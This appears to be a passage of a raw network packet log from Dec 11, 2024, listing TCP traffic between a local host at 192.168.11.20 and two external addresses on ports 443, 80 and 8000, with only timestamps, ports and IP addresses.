Dec 11, 2024 12:59:56.026448965 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.026485920 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.026485920 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.026592970 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.027117014 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.027143955 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.027285099 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.027319908 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.027319908 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.027340889 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.027363062 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.027363062 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.027477026 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.028795004 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.028825045 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.029092073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.029109955 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.029247999 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.029604912 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.029632092 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.029791117 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.029791117 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.029829025 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.029829025 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.029829025 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.029846907 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.029999018 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.030481100 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.030514956 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.030661106 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.030661106 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.030708075 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.030709028 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.030730009 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.030752897 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.030963898 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.032049894 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.032082081 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.032253027 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.032253027 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.032293081 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.032311916 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.032365084 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.032473087 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.033096075 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.033128977 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.033240080 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.033303976 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.033303976 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.033327103 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.033340931 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.033340931 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.033554077 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.033929110 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.033961058 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.034162045 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.034162045 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.034188032 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.034218073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.034368992 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.035007000 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.035049915 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.035193920 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.035195112 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.035224915 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.035238981 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.035306931 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.035306931 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.035415888 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.036317110 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.036358118 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.036484003 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.036484957 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.036515951 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.036530018 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.036586046 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.036720037 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.037128925 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.037172079 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.037316084 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.037316084 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.037344933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.037344933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.037359953 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.037420034 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.037506104 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.038233995 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.038280010 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.038428068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.038428068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.038469076 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.038487911 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.038537025 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.038564920 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.038682938 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.039345980 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.039387941 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.039516926 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.039516926 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.039549112 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.039563894 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.039623022 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.039623022 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.039719105 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.040282965 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.040324926 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.040474892 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.040474892 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.040503025 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.040503025 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.040518045 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.040555000 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.040698051 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.041205883 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.041253090 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.041366100 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.041367054 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.041413069 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.041414022 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.041439056 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.041461945 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.041588068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.042615891 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.042650938 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.042771101 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.042817116 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.042817116 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.042838097 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.042864084 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.042916059 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.043013096 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.043399096 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.043442011 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.043611050 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.043611050 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.043625116 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.043663025 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.043809891 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.044416904 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.044450998 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.044589996 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.044589996 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.044641018 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.044655085 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.044766903 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.044811010 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.045556068 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.045588017 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.045754910 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.045754910 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.045800924 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.045820951 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.045888901 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.045985937 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.046936035 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.046968937 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.047107935 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.047107935 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.047136068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.047153950 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.047209024 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.047236919 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.047302961 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.047861099 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.047893047 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.048023939 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.048024893 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.048125029 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.048125029 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.048144102 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.048302889 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.048845053 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.048885107 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.049021006 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.049021006 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.049056053 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.049072027 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.049175978 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.049201965 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.049853086 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.049895048 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.050097942 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.050146103 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.050194979 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.050209999 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.050247908 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.050347090 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.050538063 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.051320076 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.051361084 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.051464081 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.051464081 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.051512003 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.051525116 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.051561117 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.051561117 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.051664114 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.052293062 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.052335024 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.052463055 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.052511930 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.052563906 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.052573919 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.052613020 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.052738905 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.053230047 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.053272963 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.053402901 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.053402901 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.053531885 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.053541899 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.053577900 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.053738117 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.054897070 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.054938078 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.055097103 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.055097103 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.055115938 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.055145979 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.055145979 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.055341005 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.055804014 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.055845976 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.055963039 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.055963039 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.056013107 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.056021929 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.056107044 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.056155920 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.056723118 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.056765079 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.056942940 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.056942940 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.056972980 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.057009935 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.057126045 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.057787895 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.057831049 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.057943106 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.057943106 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.057988882 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.058001995 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.058037043 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.058085918 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.058181047 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.058743000 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.058784962 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.058897972 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.058947086 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.058947086 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.058963060 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.058999062 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.059093952 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.059093952 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.059823990 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.059875965 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.059979916 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.059979916 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.060031891 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.060041904 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.060081005 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.060129881 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.060228109 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.060683966 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.060718060 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.060826063 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.060977936 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.060988903 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.061125994 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.061918020 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.061950922 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.062124014 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.062124014 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.062139034 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.062175035 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.062278986 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.062711000 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.062745094 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.062886953 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.062886953 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.062936068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.062946081 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.062988997 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.062988997 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.063086987 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.063774109 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.063807964 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.063919067 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.063965082 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.063965082 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.063978910 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.064018965 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.064018965 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.064163923 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.065139055 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.065171003 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.065651894 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.065651894 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.065651894 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.065676928 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.065854073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.065869093 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.065895081 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.066028118 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:56.066174030 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.066339016 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:56.066366911 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:02.773688078 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:02.989487886 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:02.989808083 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:02.989933014 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:03.268420935 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:03.734606981 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:03.734932899 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:04.004962921 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:07.041989088 CET	49766	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:07.257062912 CET	8000	49766	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:07.257380009 CET	49766	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:07.257582903 CET	49766	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:07.533852100 CET	8000	49766	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:08.003823996 CET	8000	49766	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:08.004193068 CET	49766	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:08.004786015 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:08.219208956 CET	8000	49766	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:08.219371080 CET	49766	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:08.220350981 CET	8000	49767	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:08.220577002 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:08.220797062 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:08.220848083 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:08.220848083 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:08.436731100 CET	8000	49767	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:08.436753988 CET	8000	49767	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:08.436916113 CET	8000	49767	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:08.648593903 CET	8000	49767	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:08.648922920 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:08.864583969 CET	8000	49767	23.88.71.29	192.168.11.20
Dec 11, 2024 13:00:08.864695072 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 13:00:12.791244030 CET	49761	80	192.168.11.20	104.21.1.51
Dec 11, 2024 13:00:12.906402111 CET	80	49761	104.21.1.51	192.168.11.20
Dec 11, 2024 13:00:12.906528950 CET	49761	80	192.168.11.20	104.21.1.51
